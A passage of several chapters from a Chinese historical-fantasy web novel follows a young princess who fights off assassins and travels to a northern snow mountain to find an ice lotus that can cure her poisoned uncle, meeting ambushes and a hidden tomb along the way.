千钧一发之际,一道玄色身影如闪电般掠**内,长剑出鞘,精准地格开那致命一击。
“铛!”
金铁交鸣,火星四溅。
姜寒川挡在姜稚身前,剑锋斜指,声音冷如寒冰:“暗梅令,好大的胆子!敢在我的眼皮子底下,动我的人!”
三名黑衣人见他出现,并不恋战,互相对视一眼,同时朝不同方向撤退。
“想走?”姜寒川冷笑,身形如风,瞬间截住一人去路。
那人武功极高,与姜寒川过了十余招竟不落下风。
但另外两人也被及时赶到的山影卫拦住。
书房内刀光剑影,桌椅翻倒,一片狼藉。
姜稚被惊蛰护着退到角落,心跳如擂鼓。
她紧紧盯着战局,仔细观察间发现,那个与姜寒川交手的黑衣人,剑法路数十分诡异。
每次出剑都带着一种奇特的弧度,仿佛在画一朵朵梅花。
【是梅花剑法!书上说过,这是红莲教的独门武功!看来暗梅令果然是红莲教余孽!】
姜稚的心声传入姜寒川耳中。
他眼神一凛,如果是梅花剑法,他就知道怎么破了。
接着,姜寒川剑势陡然一变,如灵蛇出洞般划破对方攻势,然后转守为攻,瞬间占了上风。
“铮!”
他再出一剑挑飞对方面具,面具下露出一张苍老而狰狞的脸。
那人约莫五十余岁,左脸颊有一道深深的刀疤,从眉骨延伸到嘴角。
黑衣人见自己真面目暴露,随即咧嘴一笑,露出满口黄牙:“小子,算你厉害!当年你爹划伤我的脸,我可是记了十年!现在报复在他儿子身上,我也不亏。”
话音刚落,他从怀中掏出一把粉末,猛地洒向姜寒川!
“皇叔小心!”姜稚惊呼。
姜寒川急退,但还是吸入少许。
粉末进入肺腑,他顿时感到一阵头晕目眩,眼前景物开始模糊。
“哈哈哈!”黑衣**笑,“‘醉红尘’的滋味如何?这可是《丹经秘要》里的宝贝!”
说话间,他趁机一剑刺向姜寒川咽喉!
“铛!”
惊蛰及时挥剑格挡。
但黑衣人内力深厚,震得她连退三步,虎口崩裂。
眼看第二剑又刺出,姜稚也不知哪来的勇气,抓起案上那方砚台,向黑衣人的方向撒去。
砚台里面还有半池墨汁,墨汁精准地迷了黑衣人的眼,让他动作一滞。
就在这瞬间,姜寒川强忍眩晕,一剑刺出!
“噗嗤!”
长剑贯胸。
黑衣人瞪大眼睛,难以置信地看着胸口的长剑,又看向姜寒川:“你…你怎么…”
“我爹没杀了你,现在你死在他儿子手里,也不冤。”姜寒川冷冷道。
黑衣人轰然倒地,气绝身亡。
另外两名黑衣人见同伴身亡,更加疯狂,拼着受伤也要突围。
但山影卫人多势众,很快将他们制服。
战斗结束,书房内一片寂静,只有浓重的血腥味弥漫。
姜稚看着满屋狼藉,又看向脸色苍白的姜寒川,急忙上前:“皇叔,你怎么样?”
“没事。”姜寒川话未说完,忽然晃了晃,单膝跪地。
“皇叔!”姜稚伸手扶住他,这才发现他后背有一道深深的伤口,正在汩汩冒血。
这应该是刚才为了保护她,被黑衣人偷袭所伤。
“快传太医!”姜稚急声道。
惊蛰连忙去安排。
姜稚扶着姜寒川在椅子上坐下,撕下裙摆内衬,想要为他止血。
但伤口太深,布条很快被血浸透。
“别忙了。”姜寒川制止了姜稚的动作,掌心滚烫,“一点小伤,死不了。”
“流这么多血,还说是小伤?”姜稚眼眶发红,手上动作不停,“你别说话,保存体力。”
姜寒川看着
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她焦急的样子,忽然笑了笑:“你在担心我?”
“当然担心!”姜稚没好气道,“你是为了救我才受伤的!”
“那就好。”姜寒川低声呢喃,眼神有些涣散,“至少还有人关心我的死活。”
他声音越来越低,最终头一歪,昏了过去。
“皇叔!皇叔!”姜稚急唤。
太医匆匆赶来,检查伤口后脸色凝重:“公主,十三殿下中的不只有刀伤,还有毒。这毒,很古怪,老臣从未见过。”
“毒?”姜稚想起黑衣人洒出的粉末,“这毒名为‘醉红尘’!太医,可有解法?”
太医摇头:“老臣未曾听闻过,目前只能暂时压制毒性,若要解毒,还是需要知道具体配方。”
姜稚心沉了下去。
她看向地上黑衣人的尸体,快步走过去搜查。
没多久就从他怀中搜出几个瓷瓶,一些银票,还有一本薄薄的小册子。
册子封面无字,翻开一看,里面是用暗语写的配方和记录。
其中一页,赫然写着“醉红尘”三个字。
“太医,您看这个!”姜稚将册子递过去。
太医仔细辨认,越看脸色越白:“这、这是用红莲教的秘文写的!老臣年轻时曾见过一次,但只能认出大概…”
“这上面说,‘醉红尘’的配方,需要七种药材,其中有一种尤其难得。”
“哪种?”姜稚急问。
“千年冰莲。”太医苦笑,“此药是传说中的神药,老臣行医几十年,还从未见过。”
姜稚闻言如坠冰窟。
就在这时,她胸前的狼牙吊坠忽然微微发烫。
她低头看去,只见那颗白狼牙在月光下泛着温润的光泽。
姜稚猛地抬头:“太医,千年冰莲,是不是生长在极寒之地?”
“是。”太医点头,“据说北疆雪山之巅,曾有冰莲现世。但那已是百年前的传说,如今恐怕已经绝迹。”
“北疆…”姜稚看向昏迷中的姜寒川,心中有了决断。
她转身对惊蛰道:“立刻派人通知爹爹说明情况。另外,将这尸体和这本册子交给陛下,说明暗梅令与红莲教的关系。”
“是!”惊蛰领命。
姜稚重新坐回姜寒川身边,握住他冰凉的手。
“皇叔,你一定要撑住。”她轻声说,“我会救你的,一定!”
第109章 千里走单骑,北疆摘冰莲
雍王府书房内的气氛凝重如铁。
姜肃将手中的茶盏重重放在案上,滚烫的茶水溅出,在紫檀木上洇开深色水渍。
“不行。”他的声音斩钉截铁,“北疆千里之遥,路途艰险,你一个十一岁的孩子,怎能去那种地方?”
姜稚跪在父亲面前,背脊挺得笔直:
“爹爹,太医说了,‘醉红尘’之毒诡异难解,若没有千年冰莲,十三皇叔最多只能撑一个月。京城到北疆,往返最快也要二十日,我们没有时间犹豫。”
“那也不该你去!”姜肃起身,在书房内来回踱步。
“为父可以派山影卫去,派龙渊军去,甚至请陛下下旨,让北疆守军搜寻。你留在京城,守着寒川,这才是你该做的!”
“爹爹,”姜稚抬起头,眼中是超越年龄的坚定,“您派去的人,知道千年冰莲长什么样子吗?知道它生长在何种环境吗?知道采摘时需要注意什么吗?”
姜肃语塞。
“千年冰莲,生于极寒雪山之巅,通体晶莹如玉,花开九瓣,瓣有银丝脉络,遇热即化,遇铁即枯。”
姜稚将连夜从书中搜寻到的内容一字一句背出,“女儿熟读杂史野记,相较于其他人,女儿寻得此物的把握更大!”
“可是…”
“爹爹,”姜稚膝行两步,握住父亲的手,“这是十三皇叔给我的护身符,它就来自北疆。或许冥冥中自有天意,让我去救他。”
姜肃看着女儿眼中闪烁的光芒,心中五味杂陈。
他深知此行危险,但寒川是为了保护稚儿才**,若真有个三长两短…
“为父陪你去。”姜肃终于松口。
“不行。”姜稚摇头,“朝中局势未稳,谢太师虽告病,但其门生故旧仍在。父亲若离京,朝中无人制衡世家,恐生变故。”
“而且十三皇叔昏迷不醒,龙渊军虎符在您手中,您必须坐镇京城,以防不测。”
这话说得在理,姜肃无从反驳。
他沉默良久,终于长叹一声:“你要带多少人去?”
“二十山影卫,再加惊蛰。”姜稚早有准备,“人少便于隐蔽,也不易引起暗梅令注意。我们会伪装成商队,走官道北上,到了北疆再换装。”
“二十人太少了。”姜肃皱眉,“至少带五十人。”
“爹爹,人多目标大。”姜稚分析道。
“我们若大张旗鼓,反而容易暴露。二十人精锐,足以应对一般匪患。而且女儿有稚川令,必要时可以调动稚川商行在北疆的势力。”
姜肃看着女儿冷静谋划的模样,终于点头,“但你必须答应为父三件事。”
“爹爹请讲。别说三个,三十个我也答应!”姜稚看到父亲松口,语气也轻松起来。
“第一,每日传信一次,报平安。第二,若遇危险,立刻撤退,保命要紧。第三…”姜肃顿了顿,声音微哑,“一定要平安回来。”
姜稚眼眶一热:“女儿答应您!”
……
二月二十一,黎明时分。
一支不起眼的商队悄然驶出京城北门。
车队共五辆马车,十余匹驮马,车上装载着茶叶、丝绸等货物。
领队是个四十余岁的中年汉子,自称姓李,是稚川商行的管事。
第三辆马车的车厢经过改造,内设软榻、小几,还固定了书架。
姜稚一身男装,作少年打扮,正伏案研究北疆地图。
惊蛰坐在对面,擦拭着手中的短铳。
这是山影卫的制式装备,每次只能发射一发,但威力惊人。
“公主,按照现在的速度,我们日夜兼程,十日内可抵达云州。”惊蛰低声道,“但过了云州,进入雪山地带,就只能骑马了。”
姜稚点头:“云州那边安排好了吗?”
“安排好了。”惊蛰道,“稚川商行在云州有分号,备好了二十匹北疆骏马,还有向导和御寒物资。”
“另外,福安掌柜传来消息,龙渊军副将周猛昨日在营中暴毙,死因不明。”
姜稚手中笔一顿:“暴毙?”
“是。”惊蛰神色凝重,“军医说是突发心疾,但有人看见周猛死前曾见过一个陌生面孔。那人离开后不
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久,周猛就倒地不起。”
姜稚的拳头锤在面前的案几上,“军粮案的线索又断了。不过周猛一死,至少暂时无人能在军中兴风作浪。”
她继续看地图,手指点在云州以北的一片区域:
“云州往北三百里,就是大雪山。据当地人说,雪山有七峰,最高的是‘天柱峰’,终年积雪,人迹罕至。千年冰莲最可能生长在那里。”
“可是公主,”惊蛰迟疑,“天柱峰地势太高,常人难以攀登。而且雪山气候多变,时有暴风雪,极为危险。”
“再危险也要去。”姜稚语气坚定,“我们没有退路!”
马车外传来马蹄的靠近声,巽三的声音同时响起:“公子,前方十里有个茶棚,可要歇脚?”
“歇一炷香时间,换马。”姜稚道,“告诉弟兄们,抓紧时间休息,今夜要赶夜路。”
“是!”
车队在茶棚停下时,日头已升到中天。
姜稚戴上斗笠,低调地走进茶棚,要了一壶粗茶,几个馒头。
茶棚里已有几桌客人,大多是行商和旅人。
靠窗的一桌坐着三个汉子,身材魁梧,腰间佩刀,正在低声交谈。
姜稚不经意地扫了一眼,心中瞬间升起警惕。
那三人虽然作商贾打扮,但坐姿笔直,右手虎口有厚茧,明显是常年握刀之人。
而且他们的口音不是中原官话,带着些许北疆腔调。
姜稚对一旁假扮成商行伙计的山影卫使了个眼色,大家见状立刻警觉起来。
姜稚不动声色地喝着茶,耳朵却竖起来,捕捉那三人的谈话。
“…那批货月底必须送到…”
“…云州那边已经安排好了…”
“…小心些,最近查得严…”
断断续续的对话,透露出不寻常的信息。
姜稚心中记下,快速吃完馒头,起身离开。
上马车前,她低声对巽三吩咐:“派两个人跟着那三个汉子,查清他们的底细和去向。但要小心,不要打草惊蛇。”
“明白。”巽三火速安排人,行动起来。
第110章 雪山惊魂
车队继续北上。
接下来的几日,车队日夜兼程,除了必要的休息和换马,几乎不停。
姜稚虽然年幼,但意志坚韧,从未叫苦。
二月末的北疆,寒意未褪。
越往北走,景色越荒凉。
官道两旁的树木渐渐稀疏,取而代之的是茫茫草原和远处的雪山轮廓。
第五日黄昏,车队抵达云州城。
云州是大晟北疆重镇,城墙高大厚重,驻守着三万边军。
城内商贸繁荣,各族商贾往来不绝。
稚川商行云州分号位于城南,是个三进的大院。
掌柜姓赵,是个五十余岁的老生意人,见到姜稚一行人,连忙迎入内院。
“公子一路辛苦。”赵掌柜亲自奉茶,“房间已经收拾好了,热水饭菜马上送来。”
“有劳赵掌柜。”姜稚摘下斗笠,“马匹和向导准备好了吗?”
“都准备好了。”赵掌柜道。
“二十匹北疆骏马,都是耐力上佳的好马。向导也找好了,是本地最有名的采药人,叫老巴图,在大雪山采药三十年,熟悉每一条山路。”
“可靠吗?”
“绝对可靠。”赵掌柜保证,“老巴图的儿子在商行做事,一家老小都靠商行吃饭。而且他为人仗义,重诺守信。”
姜稚点头:“明日一早出发。另外,赵掌柜,这几日云州可有什么异常?”
赵掌柜略作思考:“要说异常倒是有一件。”
“三天前,城里来了几个自称是皮货商的人,但他们从不与人谈生意,整天在城里转悠,像是在找什么人。”
“几个人?长什么样子?”
“三个,都是三四十岁的汉子。”赵掌柜道,“对了,他们说话带着南边口音。”
姜稚和惊蛰对视一眼,这群人极有可能是暗梅令的人。
“他们现在还在客栈吗?”
“今早退了房,出城往北去了。”赵掌柜道,“说是去收皮货,但那个方向,是往雪山去的。”
姜稚心中一沉。
暗梅令的人先去雪山,要么是也得到了冰莲的消息,要么是设下埋伏,等她自投罗网。
“赵掌柜,”她起身,“麻烦你一件事。查查那三个人在云州接触过谁,做过什么特别的事。任何细节都不要放过。”
“是,公子放心。”
当夜,姜稚在房中整理行装。
狼牙吊坠贴身戴着,隐隐发烫,仿佛在提醒她前路的危险。
惊蛰敲门进来,神色凝重:“公主,巽三传来消息。跟踪茶棚那三个汉子的弟兄发现,他们在云州城外与那三个‘皮货商’汇合了。六个人一起进了雪山。”
“六个人…”姜稚沉吟,“暗梅令这次是下了血本。他们果然不肯善罢甘休。”
“公主,要不我们多带些人?”惊蛰担忧道,“二十山影卫虽然精锐,但对方在暗处,我们在明处,而且雪山地形复杂…”
“不。”姜稚摇头,“人多反而累赘。雪山环境恶劣,不是人多就能赢的。我们要因地取材,智取方为上策。今日早些休息,明天一早出发。”
“是!”惊蛰领命离开。
次日,天未亮,姜稚一行人悄然出城。
老巴图是个六十余岁的老者,皮肤黝黑,满脸风霜,但眼神明亮,身板硬朗。
他骑着一匹枣红马,走在队伍最前面。
“公子,雪山的路不好走。”老巴图回头道,“尤其是天柱峰,常年刮大风,有时还会有雪崩。咱们得抓紧时间,赶在午时前翻过第一道山梁。”
“听您的。”姜稚点头。
队伍进入雪山地带,气温骤降。
众人换上厚厚的皮袄,戴上防风面罩。
山路越来越陡,马匹只能慢行。
行至半山腰时,前方出现一个隘口。
两侧山崖陡峭,中间一条窄路,仅容两马并行。
老巴图勒住马:“公子,这里地势险要,常有雪豹出没。咱们得快点通过。”
姜稚抬头看了看两侧山崖,心中警铃大作。
【**静了。连鸟叫声都没有。这种地方,不可能没有动物。除非是有人提前惊走了它们。】
她抬手示意队伍停下。
“公子?”老巴图不解。
姜稚没说话,从怀中取出一个单筒望远镜。
这是她让山影卫工匠特制的,虽然简陋,但勉强能看清远处景物。
她举起望远镜,仔细扫视两侧山崖。
突然,镜中闪过一道金属反光。
“有埋伏!”姜稚厉声
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示警,“退!”
话音未落,两侧山崖上滚下无数巨石!
“轰隆隆——”
巨石如雨,砸向隘口。
山影卫训练有素,立刻护着姜稚向后撤退。
但山路狭窄,马匹受惊,一时乱成一团。
“保护公子!”惊蛰挥剑劈开一块滚石,拉着姜稚跳下马,躲到一块凸出的岩壁下。
巨石持续滚落,砸中三匹马,惨嘶声响彻山谷。
两个山影卫躲避不及,被砸中,当场身亡。
姜稚咬紧牙关,强迫自己冷静。
她再次举起望远镜,看到山崖上有五六个人影正在移动。
“在那边!”她指向左侧山崖,“惊蛰,带五个人从侧面绕过去。巽队长,带剩下的人用**箭压制!”
“是!”
山影卫迅速行动。
五人跟随惊蛰,借助山石掩护,从侧面攀爬山崖。
其余人取出连**,朝山崖上射击。
**箭破空,逼得埋伏者不敢露头。
半刻钟后,山崖上传来打斗声。惊蛰等人已经与埋伏者交上手。
姜稚从岩壁后探头,看到山崖上的战况。
对方几人武功不弱,但山影卫更胜一筹,尤其是惊蛰,短剑如电,已经刺伤两人。
“公子小心!”老巴图忽然扑过来,将姜稚推开。
一支冷箭擦着姜稚的鬓发飞过,钉在岩壁上,箭尾还在颤抖。
姜稚回头,看到一个黑衣人不知何时潜到近处,正举弓瞄准她。
“找死!”巽三怒喝,连**三箭齐发。
黑衣人躲闪不及,被一箭射中肩膀,闷哼一声,转身就逃。
“追!”巽三带人追去。
此时山崖上的战斗也接近尾声。
对方六人人**两个,伤了两个,只剩一人还在顽抗,但很快被惊蛰制伏。
姜稚走到那个被俘的黑衣人面前,扯下他的面罩。
是个三十余岁的汉子,左脸上有一道新疤,还在渗血。
“谁派你们来的?”姜稚冷声问。
汉子咧嘴一笑,露出带血的牙齿:“小娃娃,你以为抓住我就赢了?雪山里,还有更多的人等着你。”
话音未落,他忽然咬破口中某物,脸色瞬间发黑,气绝身亡。
第111章 绝壁上的生死攀登
山谷内,山影卫打扫着战场。
“公子,是毒囊!”惊蛰检查后道,“这些人都是死士,应该是暗梅令没错。”
姜稚看着地上的尸体,心中寒意更甚。
暗梅令为了杀她,竟然派出这么多死士。
这背后,到底藏着多大的秘密?
“公子,现在怎么办?”巽三问,“是继续前进,还是暂且退回云州?”
姜稚无言地望向雪山深处。
天柱峰在远处的云雾中若隐若现,仿佛在召唤她。
“继续前进。”她思索半刻,下定决心,“但要改变路线。”
她转头看向向导,出声询问:“老巴图,有没有别的路能上天柱峰?”
老巴图想了想:“有倒是有,但那条路更险,要从‘鬼见愁’悬崖爬上去,一般人根本不敢走。”
“就走那条路。”姜稚道,“暗梅令知道常规路线,必定设下更多埋伏。我们走险路,反而安全。”
“可是公子,‘鬼见愁’悬崖陡峭险峻,连雪豹都轻易爬不上去。”老巴图担忧道。
“我自有办法。”姜稚从行囊中取出一捆特制的绳索和铁钩,“山影卫受过攀岩训练,这些工具也足够应对。”
老巴图看着那些从未见过的装备,目瞪口呆。
队伍收拾行装,掩埋同伴尸体后,改道向“鬼见愁”进发。
越往雪山深处,气温越低,寒风如刀。
众人呵出的热气瞬间凝结成冰霜。姜稚虽然穿着皮袄,还是冻得脸色发白,但她一声不吭,咬牙坚持。
黄昏时分,队伍抵达“鬼见愁”悬崖。
眼前是几乎垂直的崖壁,高约百丈,表面覆盖着冰雪,光滑如镜。
崖底是深不见底的冰谷,寒风从谷中呼啸而上,发出鬼哭般的声响。
“公子,真要爬这个?”连巽三都有些迟疑。
“必须爬。”姜稚仰头看着崖顶,“这是最快上天柱峰的路。惊蛰,你带五个人先上,固定绳索。其他人分批跟上。”
“是!”
惊蛰选出五个身手最好的山影卫,将特制铁钩固定在崖壁上,开始攀登。
他们身手矫健,如猿猴般在绝壁上移动,看得老巴图连连咋舌。
半个时辰后,绳索从崖顶垂下。
“公子,可以上了。”惊蛰的声音从上面传来。
姜稚将绳索系在腰间,在坎七的保护下,开始攀爬。
悬崖陡峭,每一步都要踩稳,稍有不慎就会坠入深渊。
寒风呼啸,吹得她几乎睁不开眼。
爬到一半时,她胸前的狼牙吊坠忽然剧烈发烫。
与此同时,崖顶传来惊蛰撕心裂肺的厉喝:“小心!”
姜稚抬头,只见一个黑影从崖顶扑下,手中寒光直刺她面门!
千钧一发之际,她猛地向旁边一荡,躲过致命一击。
但那黑影一击不中,竟直接松开手,任由自己坠落,同时一脚踢向姜稚!
“公子!”巽三在下方看得目眦欲裂。
姜稚避无可避,只能咬牙硬接这一脚。
“砰!”
那一脚踢在她肩头,剧痛传来,手中绳索差点脱手。
而那个黑影借助这一踢之力,竟在空中一个翻身,抓住了另一条绳索。
“是暗梅令!”惊蛰在崖顶喊道,“他们从另一面上来了!**箭准备掩护!”
崖顶的**箭如暴雨般射向黑衣人阻碍了他们的行动。
在山影卫的掩护下,姜稚强忍疼痛,继续向上爬。
肩胛骨可能裂了,每动一下都疼得钻心。但她不能停,停下来就是死。
终于,她攀上崖顶。
惊蛰一把将她拉上来,护在身后。
崖顶上,六个黑衣人正与山影卫激战。这些人武功极高,出手狠辣,已有两个山影卫受伤。
惊蛰短剑连刺,逼退一个黑衣人。
姜稚靠在岩石上,喘息着观察战局。
暗梅令这次派来的都是高手,山影卫虽然精锐,但体力耗尽,渐渐落了下风。
姜稚环顾四周,抬头看,崖顶是个平台,再往前就是天柱峰的雪坡。
平台边缘堆着许多积雪,那是常年风吹积攒的。
一个念头迅速在姜稚脑中闪过。
“惊蛰!”姜稚喊道,“把他们引到平台边缘!”
惊蛰会意,且战且退,将黑衣人往边缘引。
山影卫配合默契,很快形成
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合围。
姜稚从怀中取出一个火折子——
这是她根据物理常识特制的,加了硫磺和硝石,燃烧时会产生大量烟雾和高温。
她点燃火折子,扔向平台边缘的积雪。
“轰!”
火折子轰然爆开,高温瞬间融化了表层积雪。
积雪下的冰层暴露出来,在高温下迅速变脆。
“退!”姜稚见目的达成,朝着山影卫大喝一声。
山影卫立刻后撤。
黑衣人不明所以,正要追击,脚下忽然传来“咔嚓”一声脆响。
平台边缘的冰层裂开了!
“不好!”为首的黑衣人脸色大变,想要离开这危险的地方,但为时已晚。
“轰隆——”
大块冰层断裂,连带着六个黑衣人一起坠下悬崖!
惨叫声迅速被寒风吞没。
崖顶恢复平静,只有风声呼啸。
姜稚脱力地坐在地上,肩头的疼痛让她冷汗直冒。
“公子,您受伤了!”惊蛰急忙查看。
“没事。”姜稚咬牙,“先包扎一下,我们继续前进。暗梅令的人能找到这里,说明我们离目标不远了。”
惊蛰快速为她包扎伤口,手法娴熟。
老巴图最后一个爬上来,看到崖顶的情形,倒吸一口凉气:“公子,您真是神了!”
姜稚苦笑:“侥幸而已。老巴图,离天柱峰还有多远?”
“翻过前面那道雪坡就是。”老巴图指着前方,“不过公子,您的伤…”
“还能走。”姜稚站起身,望向雪坡。
夕阳西下,将雪山染成金色。
天柱峰矗立在暮色中,庄严而神秘。
胸前的狼牙吊坠又烫了起来,这次是持续的温热,仿佛在为姜稚指引着方向。
姜稚深吸一口冰冷的空气,重新振作精神。
“出发。”
队伍再次前行,没多久就消失在茫茫雪色中。
而他们不知道的是,在雪坡的另一侧,一双眼睛正透过冰棱的缝隙,冷冷注视着他们的一举一动。
那双眼睛的主人,此刻手中正握着一朵晶莹剔透的九瓣冰莲,唇角勾起一抹诡异的笑。
“终于来了…”
第112章 冰莲被截胡
天柱峰顶,寒风如刀。
姜稚站在雪山之巅,眼前是一片被狂风雕琢的冰原。
晶莹的冰柱在阳光下折射出七彩光芒,美得惊心动魄,也冷得刺骨钻心。
老巴图指着冰原中央一处奇怪的凹陷处:“公子,快看!那冰层的形状,像是有什么东西已经被人采走了。”
姜稚快步上前。
只见那凹陷处确实有明显的凿痕。
冰层被整齐地切开,留下一个碗口大小的坑洞。
坑底还残留着几缕极细的银丝脉络,在阳光下闪着微光。
那正是冰莲花瓣脱落的痕迹。
这里真的曾经有一朵冰莲!
“有人比我们先到。”惊蛰蹲下检查痕迹,“凿冰的手法很专业,没有损伤根部。看来,此人不仅知道冰莲的确切位置,还懂得如何完整采摘。”
姜稚的心沉了下去。
千里跋涉,九死一生,到头来却是一场空。
没有冰莲,十三皇叔的毒怎么办?
难道走到这一步,还是没有办法改变姜寒川死亡的结局?
不!姜稚告诉自己不能放弃。
看开凿的痕迹,冰莲是刚被采走不久,采药人应该还没走远。
“公子,这里有字。”巽三在冰坑旁发现异常。
姜稚忙凑上去细细瞧着。
冰面上真的刻着几行小字。
她辨认片刻,轻声念出:
“冰莲已取,有缘者得。欲求此物,可往北行三十里,见赤色山岩,入古墓之门。墓中有莲,亦有真相。——故人留。”
“古墓?”老巴图闻言脸色大变,“公子,不能去!北边三十里,那是‘将军冢’,镇北王的衣冠冢!据说墓中有厉鬼守护,进去的人没有一个能活着出来!”
“镇北王衣冠冢?”姜稚一怔。
“是。”老巴图的声音发颤,“二十年前镇北王战死沙场,尸骨无存,陛下下旨在此修建衣冠冢。”
“但陵墓建成后,守陵人接连暴毙,有人说镇北王阴魂不散,不愿安息。后来就再没人敢靠近了。”
姜稚看着冰面上的字迹,陷入沉思。
故人留…
这个“故人”是谁?
为什么要引她去镇北王古墓?
墓中真的有冰莲吗?
“公子,这可能是陷阱。”惊蛰警惕道,“暗梅令刚在雪山设伏失败,现在很可能又用冰莲引我们去古墓,这其中定有阴谋。”
“我知道。”姜稚点头,“但我们必须去。没有冰莲,十三皇叔撑不过一个月。就算只有万分之一的希望,也要试一试。”
她转头问老巴图:“关于将军冢,您还知道什么?”
老巴图定了定神,努力回忆:“将军冢依山而建,墓道深不见底。墓门上还刻有镇北王生前最爱的诗句。”
“什么诗句?”
“好像是…‘铁马冰河入梦来’?不对不对,是‘醉里挑灯看剑’…”老巴图挠头,“时间太久,记不清了。”
姜稚却心中一动。
“收拾东西,去将军冢。”她做出决定。
“公主,您的伤…”惊蛰担忧地看着姜稚的肩头。
姜稚摸了摸包扎好的肩膀,虽然还在疼,但活动起来已无大碍:“不碍事,时间紧迫,我们要在日落前找到古墓。”
队伍再次出发,向北而行。
雪山之路越发难行。
狂风卷起积雪,形成白茫茫的雪雾,能见度不足十丈。
为保证相互安全,众人用绳索彼此相连,在风雪中艰难跋涉。
行至一处山谷时,姜稚胸前的狼牙吊坠忽然滚烫如烙铁。
她猛然停步,大喝:“等等!”
话音未落,前方雪地突然塌陷!
“退!”巽三急声大喊。
但已经来不及了。
三个走在最前面的山影卫瞬间坠入深坑,惨叫声被风雪吞没。
惊蛰发现情况不对,立马砍断与其他人相连的绳索,拉着姜稚后退数步。
其他人则是惊魂未定地看着那个突然出现的陷坑。
坑底布满削尖的木桩,三个山影卫已被刺穿,鲜血染红白雪。
“是陷阱!”巽三怒道,“有人在这里布了机关!”
姜稚咬牙:“检查周围,看看还有没有其他陷阱。”
山影卫散开搜索,很快又发现几处伪装巧妙的捕兽夹和绊索。
姜稚轻轻描绘吊坠的形状,心中生出后怕,若不是狼牙吊坠突然“预警”,他们可能已经全军覆没了。
而远在京城昏迷中的姜寒川,此刻眉头微蹙,似乎感应到了什么。
清理完陷阱,队伍继续
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前进。
每个人都打起十二分精神,但雪山中的危险依旧防不胜防。
一个时辰后,他们终于看到老巴图所说的赤色山岩。
那是一片裸露的红色岩壁,在白雪皑皑的山谷中格外醒目。
岩壁下方,赫然是一道厚重的石门。
石门高约两丈,宽一丈,表面刻满繁复的纹路。
最上方,用苍劲的隶书刻着两行字:
“醉里挑灯看剑,梦回吹角连营。”
正是辛弃疾《破阵子》中的名句。
“就是这里了。”老巴图声音发颤,“将军冢的墓门。”
姜稚走近观察。
只见石门紧闭,四周没有任何缝隙。
她独自一人上前推了推,发现石门厚重,单凭个人根本无法推动。
然后她便召唤众人一起来到石门前,大家合力将门推开。
“轰隆隆——”
石门缓缓向两侧打开,露出幽深的墓道。
一股陈腐的气息扑面而来,其中还夹杂着淡淡的药香。
“成功了!”老巴图惊喜道。
众人向内望去,墓道很黑,但在深处,却隐约有微光闪烁。
“进。”惊蛰率先踏入墓道,并将姜稚护在身后。
巽三带人殿后。
老巴图犹豫片刻,也跟了进去。
墓道很窄,仅容两人并行。
两侧石壁上刻着壁画,描绘着镇北王一生的战绩。
从少年从军,到北疆戍边,再到与匈奴的历次大战,栩栩如生。
越往里走,药香越浓,光芒也越亮。
终于,他们来到主墓室。
墓室很大,中央是一座石棺,棺盖上刻着“镇北王萧烈之灵位”。
石棺周围,摆放着各种陪葬品。
有破损的战甲、卷刃的长剑、泛黄的兵书…
而在石棺正前方,一个汉白玉雕成的莲台上,赫然放着一朵晶莹剔透的九瓣冰莲!
花瓣如玉,瓣有银丝脉络,在黑暗中散发着柔和的莹白光芒。
整个墓室都被这光芒照亮,如梦似幻。
“千年冰莲!”老巴图惊呼。
姜稚快步上前,但就在她即将触到冰莲时,一个苍老的声音在墓室中响起:
“你终于来了。”
所有人立刻拔剑,警惕地环顾四周。
第113章 “稚川先生”掉马现场
墓室角落里,一个身影缓缓走出。
那是个穿着灰色长袍的老者,须发皆白,面容枯槁,但一双眼睛却亮得惊人。
“你是谁?”惊蛰护在姜稚身前,出声询问。
老者没有回答,目光落在姜稚胸前的狼牙吊坠上,眼中闪过复杂的情绪:“狼牙…是寒川给你的?”
姜稚心头一跳:“你认识十三皇叔?”
“何止认识。”老者苦笑,“我是看着他长大的。”
他走到石棺旁,抚摸着棺盖:“也是亲眼看着镇北王死去的。”
姜稚瞳孔骤缩:“你到底是谁?”
“老夫姓周,单名一个‘慎’字。”老者缓缓道,“曾是镇北王麾下参将,也是寒川的启蒙先生。”
周慎!那个幼年曾指导她**字的周先生!
姜稚震惊地看着他:“你不是在京中开私塾吗?怎么会在这里?”
“那是十几年前的事了。”周慎长叹一声,“镇北王战死后,我就离开了京城。因为我知道,他的死不是意外,而是**。”
“**?”姜稚闻言,呼吸一滞。
“不错。”周慎眼中闪过痛楚。
“二十年前那场大战,镇北王本已胜券在握。但军中出现叛徒,泄露了布防图。匈奴人连夜突袭,镇北王为保护部下撤退,独自断后,最终…”
他顿了顿,声音哽咽:“尸骨无存。”
墓室中一片寂静,只有冰莲的光芒在轻轻摇曳。
姜稚消化着这个信息:“叛徒是谁?”
“我不知道。”周慎摇头,“但我查了二十年,终于查到一些线索。”
“当年泄露布防图的,是军中的一个文书。那个文书在战死后,家人得到了一大笔抚恤金,搬去了江南。”
“更可疑的是,”周慎继续道,“那笔抚恤金的来源,是京城的一家钱庄。而钱庄的幕后东家,与现在的废太子姜诚,有千丝万缕的联系。”
姜稚脑中飞速串联线索。
废太子、红莲教、暗梅令、二十年前的**…
“你引我来这里,不只是为了告诉我这些吧?”她问。
周慎点头,指着冰莲:“这几日我得到消息,知道寒川中了‘醉红尘’,只有冰莲能解。所以我采了天柱峰那朵,放在这里等你。”
“等我?你怎么知道我会来?”
“因为你是‘稚川先生’!”周慎语出惊人。
姜稚浑身一震:“你…你怎么知道?”
“老夫虽然隐居雪山,但并非与世隔绝。”周慎淡淡一笑。
“表面上看,是雍王提出的‘盐引制’、‘糊名誊录法’、‘以工代赈’这些法子,可他若是当初就有这些智慧,何须一直躲在太子身后。”
“稚川商行的前身是通达商行,商行主人看似是雍王,可经商谋略跟风格却不似雍王的做派。”
“曾经我也猜测过,是否是王爷手底下哪位经世之才的幕僚帮他出谋划策。可几年间的观察后发现,并不是。我又推演了时间线,有了更惊人的发现。”
周慎说话间走到姜稚面前,目光如炬:“你,姜稚,才是让雍王发生变化的根源!所以当我听说你北上求药,就知道你一定会来雪山,也一定会找到这里。”
“你所做的一切,都是镇北王当初想过,却没有做到的事情,老朽亦是十分敬佩你的才能。”
“所以。”周慎走到石棺旁,按下棺盖上一个隐秘的机关。
“咔嚓——”一声轻响
石棺侧面弹开一个暗格,里面放着一个铁盒。
周慎取出铁盒,递给姜稚:“这是镇北王留下的遗物。他生前嘱咐我,如果有一天有人能达成他所想,就把这个交给那个人。”
姜稚接过后打开铁盒。
里面没有金银珠宝,只有三样东西:
一本泛黄的笔记,一枚青铜虎符,还有一封信。
